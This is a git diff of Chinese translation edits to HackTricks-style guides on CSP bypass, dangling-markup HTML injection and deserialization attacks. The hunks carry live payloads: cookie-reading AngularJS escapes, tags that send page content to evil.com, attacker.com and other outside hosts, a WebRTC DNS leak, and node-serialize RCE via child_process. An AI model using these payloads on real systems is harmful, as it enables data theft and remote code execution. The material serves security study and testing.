一个特定的政策称为内容安全政策 (CSP) 可能会限制 JavaScript 事件。尽管如此,AngularJS 引入了自定义事件作为替代。在事件中,AngularJS 提供了一个独特的对象 `$event`,引用原生浏览器事件对象。这个 `$event` 对象可以被利用来规避 CSP。值得注意的是,在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,涉及事件的执行链,`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
|
||||
一个特定的策略称为内容安全策略 (CSP) 可能会限制 JavaScript 事件。然而,AngularJS 引入了自定义事件作为替代。在事件中,AngularJS 提供了一个独特的对象 `$event`,引用原生浏览器事件对象。这个 `$event` 对象可以被利用来绕过 CSP。值得注意的是,在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,涉及事件的执行链,`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
|
||||
|
||||
通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面演示的代码片段阐明了这个过程:
|
||||
通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面的代码片段阐明了这个过程:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
@ -383,7 +383,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
在Angular JS应用程序中,允许脚本加载的CSP策略可以通过调用回调函数和某些易受攻击的类来绕过。有关此技术的更多信息,请参阅此[git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)上的详细指南。
|
||||
在Angular JS应用程序中,允许脚本加载的CSP策略可以通过调用回调函数和某些易受攻击的类来绕过。有关此技术的更多信息,请参阅此[git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)中提供的详细指南。
|
||||
|
||||
有效的有效载荷:
|
||||
```html
|
||||
@ -419,7 +419,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
如果 CSP 设置为 `https://www.google.com/a/b/c/d`,由于路径被考虑,`/test` 和 `/a/test` 脚本将被 CSP 阻止。
|
||||
如果 CSP 设置为 `https://www.google.com/a/b/c/d`,由于路径被考虑,`/test` 和 `/a/test` 的脚本将被 CSP 阻止。
|
||||
|
||||
然而,最终的 `http://localhost:5555/301` 将在服务器端 **重定向到 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**。由于这是一个重定向,**路径不被考虑**,因此 **脚本可以被加载**,从而绕过路径限制。
|
||||
|
||||
@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` 意味着您可以在代码中执行任何脚本(XSS 可以执行代码),而 `img-src *` 意味着您可以在网页中使用来自任何资源的任何图像。
|
||||
|
||||
您可以通过图像泄露数据来绕过此 CSP(在这种情况下,XSS 利用一个可被机器人访问的页面中的 CSRF,该页面包含 SQLi,并通过图像提取标志):
|
||||
您可以通过图像泄露数据来绕过此 CSP(在这种情况下,XSS 滥用一个 CSRF,其中一个可被机器人访问的页面包含 SQLi,并通过图像提取标志):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
@ -462,7 +462,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
|
||||
#### Chrome
|
||||
|
||||
如果您发送的**参数**被**粘贴到****策略的声明**中,那么您可以以某种方式**更改**该**策略**使其**无效**。您可以使用以下任何绕过方法**允许脚本 'unsafe-inline'**:
|
||||
如果您发送的**参数**被**粘贴到****策略的声明**中,那么您可以以某种方式**更改**该**策略**,使其**无效**。您可以使用以下任何绕过方法**允许脚本 'unsafe-inline'**:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
@ -478,7 +478,7 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
### img-src \*; 通过 XSS (iframe) - 时间攻击
|
||||
|
||||
注意缺少指令 `'unsafe-inline'`\
|
||||
这次你可以让受害者通过 **XSS** 使用一个 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容,但如果你能**控制页面加载所需的时间**,你可以提取所需的信息。
|
||||
这次你可以让受害者通过 **XSS** 使用 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容,但如果你能**控制页面加载所需的时间**,你可以提取所需的信息。
|
||||
|
||||
这次将提取一个**标志**,每当通过 SQLi **正确猜测一个字符**时,**响应**由于 sleep 函数会**花费更多时间**。然后,你将能够提取标志:
|
||||
```html
|
||||
@ -548,7 +548,7 @@ run()
|
||||
|
||||
### 通过限制CSP绕过CSP
|
||||
|
||||
在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,通过在允许的iframe内注入更严格的CSP来绕过CSP,该CSP不允许加载特定的JS文件,然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本来加载任意脚本**。
|
||||
在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,CSP通过在允许的iframe内注入更严格的CSP来绕过,该CSP不允许加载特定的JS文件,然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本来加载任意脚本**。
|
||||
|
||||
您可以使用**`csp`**属性**限制iframe的CSP**:
|
||||
```html
|
||||
@ -556,7 +556,7 @@ run()
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
在 [**这个 CTF 写作**](https://github.com/aszx87410/ctf-writeups/issues/48) 中,通过 **HTML 注入** 可以 **进一步限制** **CSP**,从而禁用防止 CSTI 的脚本,因此 **漏洞变得可利用。**\
|
||||
在 [**这个 CTF 文章**](https://github.com/aszx87410/ctf-writeups/issues/48) 中,通过 **HTML 注入** 可以 **进一步限制** **CSP**,从而禁用防止 CSTI 的脚本,因此 **漏洞变得可利用。**\
|
||||
可以使用 **HTML 元标签** 使 CSP 更加严格,并且可以通过 **移除** 允许其 **nonce** 的 **入口** 来禁用内联脚本,并通过 sha **启用特定的内联脚本**:
|
||||
```html
|
||||
<meta
|
||||
@ -579,7 +579,7 @@ document.querySelector("DIV").innerHTML =
|
||||
```
|
||||
### 利用CSP和Iframe泄露信息
|
||||
|
||||
- 创建一个指向一个URL的`iframe`(我们称之为`https://example.redirect.com`),该URL被CSP允许。
|
||||
- 创建一个指向URL的`iframe`(我们称之为`https://example.redirect.com`),该URL被CSP允许。
|
||||
- 该URL随后重定向到一个秘密URL(例如,`https://usersecret.example2.com`),该URL在CSP中**不被允许**。
|
||||
- 通过监听`securitypolicyviolation`事件,可以捕获`blockedURI`属性。该属性揭示了被阻止的URI的域名,从而泄露了初始URL重定向的秘密域名。
|
||||
|
||||
@ -589,7 +589,7 @@ document.querySelector("DIV").innerHTML =
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
通过监控哪些请求被CSP阻止或允许,可以缩小秘密子域名中可能的字符,最终揭示完整的URL。
|
||||
通过监控哪些请求被CSP阻止或允许,可以缩小秘密子域名中可能的字符范围,最终揭示完整的URL。
|
||||
|
||||
这两种方法利用了CSP在浏览器中的实现和行为的细微差别,展示了看似安全的策略如何无意中泄露敏感信息。
|
||||
|
||||
@ -603,14 +603,14 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
||||
|
||||
### PHP响应缓冲区溢出
|
||||
|
||||
PHP默认情况下**将响应缓冲到4096**字节。因此,如果PHP显示警告,通过提供**足够的数据在警告中**,**响应**将在**CSP头**之前**发送**,导致头被忽略。\
|
||||
PHP默认情况下**将响应缓冲到4096**字节。因此,如果PHP显示警告,通过提供**足够的数据在警告中**,**响应**将**在**CSP**头之前**被**发送**,导致头被忽略。\
|
||||
然后,这种技术基本上是**用警告填充响应缓冲区**,以便CSP头不被发送。
|
||||
|
||||
想法来自[**这个写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)。
|
||||
想法来自[**这篇写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)。
|
||||
|
||||
### 重写错误页面
|
||||
|
||||
根据[**这个写作**](https://blog.ssrf.kr/69),似乎可以通过加载一个错误页面(可能没有CSP)并重写其内容来绕过CSP保护。
|
||||
根据[**这篇写作**](https://blog.ssrf.kr/69),似乎可以通过加载一个错误页面(可能没有CSP)并重写其内容来绕过CSP保护。
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME是一种利用XSS(或高度限制的XSS)**在页面的一个端点**中**滥用****同一来源的其他端点**的技术。这是通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到您想要滥用的同一来源的真实端点来实现的。这样,**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问**要滥用的**真实端点的DOM**。有关更多信息,请查看:
|
||||
SOME是一种利用XSS(或高度限制的XSS)**在页面的一个端点**中**滥用** **同一来源的其他端点**的技术。这是通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到您想要滥用的同一来源的真实端点来实现的。这样,**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问** **要滥用的真实端点的DOM**。有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
@ -627,7 +627,7 @@ SOME是一种利用XSS(或高度限制的XSS)**在页面的一个端点**中
|
||||
|
||||
此外,**wordpress**在`/wp-json/wp/v2/users/1?_jsonp=data`中有一个**JSONP**端点,该端点将**反射**输出中发送的**数据**(仅限字母、数字和点的限制)。
|
||||
|
||||
攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中,请注意这个**脚本**将被**加载**,因为它是**被'self'允许的**。此外,由于安装了WordPress,攻击者可能会通过**易受攻击的****回调**端点滥用**SOME攻击**,该端点**绕过CSP**以给予用户更多权限,安装新插件...\
|
||||
攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入到`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中,请注意这个**脚本**将被**加载**,因为它是**被'self'允许的**。此外,由于安装了WordPress,攻击者可能会通过**易受攻击的** **回调**端点滥用**SOME攻击**,该端点**绕过CSP**以给予用户更多权限,安装新插件...\
|
||||
有关如何执行此攻击的更多信息,请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
@ -678,9 +678,9 @@ X-DNS-Prefetch-Control: off
|
||||
|
||||
### WebRTC
|
||||
|
||||
在几个页面上你可以看到 **WebRTC 不检查 CSP 的 `connect-src` 策略**。
|
||||
在几个页面上你可以看到**WebRTC不检查CSP的`connect-src`策略**。
|
||||
|
||||
实际上,你可以通过 _DNS 请求_ _泄露_ 信息。查看这段代码:
|
||||
实际上,你可以通过一个_DNS请求_来_泄露_信息。查看这段代码:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
|
||||
@ -4,7 +4,7 @@ Content-Security-Policy: default-src 'self' 'unsafe-inline';
|
||||
```
|
||||
禁止使用任何作为字符串传输的代码执行函数。例如:`eval, setTimeout, setInterval` 将因设置 `unsafe-eval` 而被阻止。
|
||||
|
||||
来自外部来源的任何内容也会被阻止,包括图像、CSS、WebSockets,尤其是 JS。
|
||||
来自外部源的任何内容也会被阻止,包括图像、CSS、WebSockets,尤其是 JS。
|
||||
|
||||
### 通过文本和图像
|
||||
|
||||
|
||||
@ -2,20 +2,20 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resume
|
||||
## 简介
|
||||
|
||||
此技术可用于在发现**HTML注入**时从用户提取信息。如果你**找不到任何利用** [**XSS** ](../xss-cross-site-scripting/)的方法,但可以**注入一些HTML标签**,这非常有用。\
|
||||
如果某些**秘密以明文形式保存在HTML中**,并且你想从客户端**提取**它,或者如果你想误导某些脚本执行,这也很有用。
|
||||
此技术可用于在发现**HTML注入**时从用户提取信息。如果您**找不到任何利用** [**XSS** ](../xss-cross-site-scripting/)的方法,但可以**注入一些HTML标签**,这非常有用。\
|
||||
如果某些**秘密以明文形式保存在HTML中**,并且您想要**从客户端提取**它,或者如果您想误导某些脚本执行,这也很有用。
|
||||
|
||||
这里评论的几种技术可以通过以意想不到的方式(html标签、CSS、http-meta标签、表单、base等)提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/)。
|
||||
|
||||
## Main Applications
|
||||
## 主要应用
|
||||
|
||||
### Stealing clear text secrets
|
||||
### 偷取明文秘密
|
||||
|
||||
如果你在页面加载时注入`<img src='http://evil.com/log.cgi?`,受害者将向你发送所有在注入的`img`标签和代码中的下一个引号之间的代码。如果某个秘密以某种方式位于该块中,你将窃取它(你可以使用双引号做同样的事情,看看哪个更有趣)。
|
||||
如果您在页面加载时注入`<img src='http://evil.com/log.cgi?`,受害者将向您发送所有在注入的`img`标签和代码中的下一个引号之间的代码。如果某个秘密以某种方式位于该块中,您将窃取它(您可以使用双引号做同样的事情,看看哪个更有趣)。
|
||||
|
||||
如果`img`标签被禁止(例如由于CSP),你也可以使用`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
如果`img`标签被禁止(例如由于CSP),您也可以使用`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
```html
|
||||
<img src='http://attacker.com/log.php?HTML=
|
||||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||||
@ -23,7 +23,7 @@
|
||||
```
|
||||
请注意,**Chrome 阻止包含 "<" 或 "\n" 的 HTTP URL**,因此您可以尝试其他协议方案,如 "ftp"。
|
||||
|
||||
您还可以滥用 CSS `@import`(将发送所有代码,直到找到 ";")
|
||||
您还可以滥用 CSS `@import`(将发送所有代码,直到找到 ";")。
|
||||
```html
|
||||
<style>@import//hackvertor.co.uk? <--- Injected
|
||||
<b>steal me!</b>;
|
||||
@ -32,7 +32,7 @@
|
||||
```html
|
||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||
```
|
||||
您还可以插入一个 `<base` 标签。所有信息将在引号关闭之前发送,但这需要一些用户交互(用户必须点击某个链接,因为基本标签将更改链接指向的域):
|
||||
您还可以插入一个 `<base` 标签。所有信息将在引号关闭之前发送,但这需要一些用户交互(用户必须点击某个链接,因为 base 标签将更改链接指向的域):
|
||||
```html
|
||||
<base target=' <--- Injected
|
||||
steal me'<b>test</b>
|
||||
@ -67,7 +67,7 @@ I get consumed!
|
||||
```
|
||||
该输入字段将包含其双引号之间的所有内容以及下一个双引号中的内容。这种攻击将“_**窃取明文秘密**_”与“_**窃取表单2**_”混合在一起。
|
||||
|
||||
您可以通过注入一个表单和一个`<option>`标签来做同样的事情。所有数据直到找到一个关闭的`</option>`都会被发送:
|
||||
您可以通过注入一个表单和一个`<option>`标签来做同样的事情。所有数据直到找到一个闭合的`</option>`将被发送:
|
||||
```html
|
||||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||||
```
|
||||
@ -111,7 +111,7 @@ new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponen
|
||||
```
|
||||
### 误导性脚本工作流程 1 - HTML 命名空间攻击
|
||||
|
||||
在 HTML 中插入一个带有 id 的新标签,该标签将覆盖下一个标签,并且其值将影响脚本的流程。在此示例中,您正在选择与谁共享信息:
|
||||
在 HTML 中插入一个带有 id 的新标签,该标签将覆盖下一个标签,并且其值将影响脚本的流程。在这个例子中,您正在选择与谁共享信息:
|
||||
```html
|
||||
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
|
||||
Share this status update with: ← Legitimate optional element of a dialog
|
||||
@ -120,7 +120,7 @@ Share this status update with: ← Legitimate optional element of a dialog
|
||||
... function submit_status_update() { ... request.share_with =
|
||||
document.getElementById('share_with').value; ... }
|
||||
```
|
||||
### 误导性脚本工作流 2 - 脚本命名空间攻击
|
||||
### 误导性脚本工作流程 2 - 脚本命名空间攻击
|
||||
|
||||
通过插入 HTML 标签在 JavaScript 命名空间内创建变量。然后,这个变量将影响应用程序的流程:
|
||||
```html
|
||||
@ -186,7 +186,7 @@ onload="cspBypass(this.contentWindow)"></iframe>
|
||||
|
||||
### 新的 \<portal HTML 标签
|
||||
|
||||
您可以在 [这里](https://research.securitum.com/security-analysis-of-portal-element/) 找到关于 \<portal 标签可利用漏洞的 **有趣研究**。\
|
||||
您可以在 [这里](https://research.securitum.com/security-analysis-of-portal-element/) 找到关于可利用的 \<portal 标签漏洞的 **非常有趣的研究**。\
|
||||
在撰写本文时,您需要在 `chrome://flags/#enable-portals` 中启用 portal 标签,否则它将无法工作。
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**序列化** 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后时间重新创建,保持其结构和状态。
|
||||
**序列化** 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后的时间重新创建,保持其结构和状态。
|
||||
|
||||
**反序列化** 则是与序列化相对的过程。它涉及将以特定格式结构化的数据重新构建回对象。
|
||||
|
||||
@ -74,10 +74,10 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
如果你查看结果,你会发现当对象被反序列化时,**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时,**`__toString`** 函数被调用,但显然这**不再发生**。
|
||||
如果你查看结果,你会发现当对象被反序列化时,**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时会调用 **`__toString`** 函数,但显然这**不再发生**。
|
||||
|
||||
> [!WARNING]
|
||||
> 如果在类中实现了方法 **`__unserialize(array $data)`**,则会**代替 `__wakeup()`** 被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。
|
||||
> 如果在类中实现了 **`__unserialize(array $data)`** 方法,则会**代替 `__wakeup()`** 被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -172,7 +172,7 @@ python-yaml-deserialization.md
|
||||
JS **没有像 PHP 或 Python 那样的 "魔法" 函数**,这些函数仅用于创建对象而被执行。但它有一些 **函数**,即使没有直接调用它们也 **经常使用**,例如 **`toString`**、**`valueOf`**、**`toJSON`**。\
|
||||
如果滥用反序列化,您可以 **妥协这些函数以执行其他代码**(可能滥用原型污染),当它们被调用时,您可以执行任意代码。
|
||||
|
||||
另一种 **"魔法" 调用函数** 的方式是 **妥协一个由异步函数**(promise)**返回的对象**。因为,如果您 **将该返回对象** 转换为另一个 **promise**,并具有一个名为 **"then" 的函数类型属性**,它将仅因为它是由另一个 promise 返回而被 **执行**。_有关更多信息,请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)_。
|
||||
另一种 **"魔法" 调用函数** 的方式是 **妥协一个由异步函数**(promise)**返回的对象**。因为,如果您 **将该返回对象** 转换为另一个 **promise**,并具有一个名为 **"then" 的函数类型属性**,它将仅因为它是由另一个 promise 返回而被 **执行**。_有关更多信息,请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _。_
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -219,7 +219,7 @@ var serialize = require("node-serialize")
|
||||
var payload_serialized = serialize.serialize(y)
|
||||
console.log("Serialized: \n" + payload_serialized)
|
||||
```
|
||||
序列化对象将如下所示:
|
||||
**序列化对象**将如下所示:
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
@ -231,7 +231,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
|
||||
.png>)
|
||||
|
||||
正如您在最后一段代码中看到的,**如果找到该标志**,则使用 `eval` 来反序列化函数,因此基本上**用户输入被用于 `eval` 函数内部**。
|
||||
正如您在最后一段代码中所看到的,**如果找到该标志**,则使用 `eval` 来反序列化函数,因此基本上**用户输入被用于 `eval` 函数内部**。
|
||||
|
||||
然而,**仅仅序列化**一个函数**并不会执行它**,因为在我们的示例中需要某部分代码**调用 `y.rce`**,这非常**不可能**。\
|
||||
无论如何,您可以**修改序列化对象**,**添加一些括号**,以便在对象被反序列化时自动执行序列化的函数。\
|
||||
@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
如前所述,该库将在`_$$ND_FUNC$$_`之后获取代码并将**执行它**,使用`eval`。因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,并**仅执行一个 JS 单行代码**,如下例所示:
|
||||
如前所述,该库将在`_$$ND_FUNC$$_`之后获取代码并将**执行它**,使用`eval`。因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,并**仅执行一个JS单行代码**,如下例所示:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
@ -278,11 +278,11 @@ __js_function:
|
||||
}
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**有关更多信息,请阅读此来源**[ **source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**有关**[ **更多信息,请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
**serialize-javascript** 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需要负责实现自己的反序列化方法。官方示例建议直接使用 `eval` 来反序列化序列化数据:
|
||||
**serialize-javascript** 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化的数据:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
@ -302,9 +302,9 @@ var test =
|
||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**有关更多信息,请阅读此来源**[ **source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。**
|
||||
**有关更多信息,请阅读此来源**[ **更多信息读这个源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Cryo 库
|
||||
### Cryo库
|
||||
|
||||
在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息:
|
||||
|
||||
@ -313,16 +313,16 @@ deserialize(test)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
在 Java 中,**反序列化回调在反序列化过程中执行**。攻击者可以利用这一执行过程,通过构造恶意有效负载来触发这些回调,从而导致潜在的有害操作执行。
|
||||
在Java中,**反序列化回调在反序列化过程中执行**。攻击者可以利用恶意有效负载触发这些回调,从而导致潜在的有害操作执行。
|
||||
|
||||
### 指纹
|
||||
|
||||
#### 白盒
|
||||
|
||||
要识别代码库中潜在的序列化漏洞,请搜索:
|
||||
要识别代码库中的潜在序列化漏洞,请搜索:
|
||||
|
||||
- 实现 `Serializable` 接口的类。
|
||||
- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshared` 函数。
|
||||
- 实现了 `Serializable` 接口的类。
|
||||
- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshare` 函数。
|
||||
|
||||
特别注意:
|
||||
|
||||
@ -337,12 +337,12 @@ deserialize(test)
|
||||
|
||||
对于黑盒测试,寻找特定的 **签名或“魔法字节”**,以表示来自 `ObjectInputStream` 的 Java 序列化对象:
|
||||
|
||||
- 十六进制模式:`AC ED 00 05`。
|
||||
- Base64 模式:`rO0`。
|
||||
- 十六进制模式: `AC ED 00 05`。
|
||||
- Base64模式: `rO0`。
|
||||
- HTTP 响应头中 `Content-type` 设置为 `application/x-java-serialized-object`。
|
||||
- 表示先前压缩的十六进制模式:`1F 8B 08 00`。
|
||||
- 表示先前压缩的 Base64 模式:`H4sIA`。
|
||||
- 扩展名为 `.faces` 的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式时,应进行详细检查,如在 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md) 中所述。
|
||||
- 表示先前压缩的十六进制模式: `1F 8B 08 00`。
|
||||
- 表示先前压缩的 Base64 模式: `H4sIA`。
|
||||
- 具有 `.faces` 扩展名的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查,如 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md)。
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
@ -363,7 +363,7 @@ grep -R InvokeTransformer .
|
||||
|
||||
#### 黑盒测试
|
||||
|
||||
使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md),您可以识别**哪些库可用**(甚至包括版本)。有了这些信息,选择一个有效载荷来利用漏洞可能会**更容易**。\
|
||||
使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md),您可以识别**可用的库**(甚至版本)。有了这些信息,**选择一个有效载荷**来利用漏洞可能会**更容易**。\
|
||||
[**阅读此文以了解更多关于GadgetProbe的信息**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
|
||||
GadgetProbe专注于**`ObjectInputStream`反序列化**。
|
||||
|
||||
@ -376,7 +376,7 @@ Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。
|
||||
|
||||
**序列化测试**
|
||||
|
||||
并非所有内容都与检查服务器是否使用任何易受攻击的库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**(可能授予您在web应用程序中的管理员权限)。\
|
||||
并不是所有的事情都与检查服务器是否使用了任何易受攻击的库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**(可能授予您在web应用程序中的管理员权限)。\
|
||||
如果您发现一个java序列化对象被发送到web应用程序,**您可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **以更人性化的格式打印发送的序列化对象**。知道您发送了哪些数据将更容易修改它并绕过某些检查。
|
||||
|
||||
### **利用**
|
||||
@ -385,7 +385,7 @@ Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。
|
||||
|
||||
利用Java反序列化的主要工具是[**ysoserial**](https://github.com/frohoff/ysoserial)([**在此下载**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。您还可以考虑使用[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified),这将允许您使用复杂的命令(例如带管道的命令)。\
|
||||
请注意,此工具**专注于**利用**`ObjectInputStream`**。\
|
||||
我会**先使用“URLDNS”**有效载荷**再使用RCE**有效载荷来测试注入是否可能。无论如何,请注意“URLDNS”有效载荷可能不起作用,但其他RCE有效载荷可能有效。
|
||||
我会**先使用“URLDNS”**有效载荷**而不是RCE**有效载荷来测试注入是否可能。无论如何,请注意“URLDNS”有效载荷可能不起作用,但其他RCE有效载荷可能有效。
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -497,13 +497,13 @@ Java在各种目的上使用了大量的序列化,例如:
|
||||
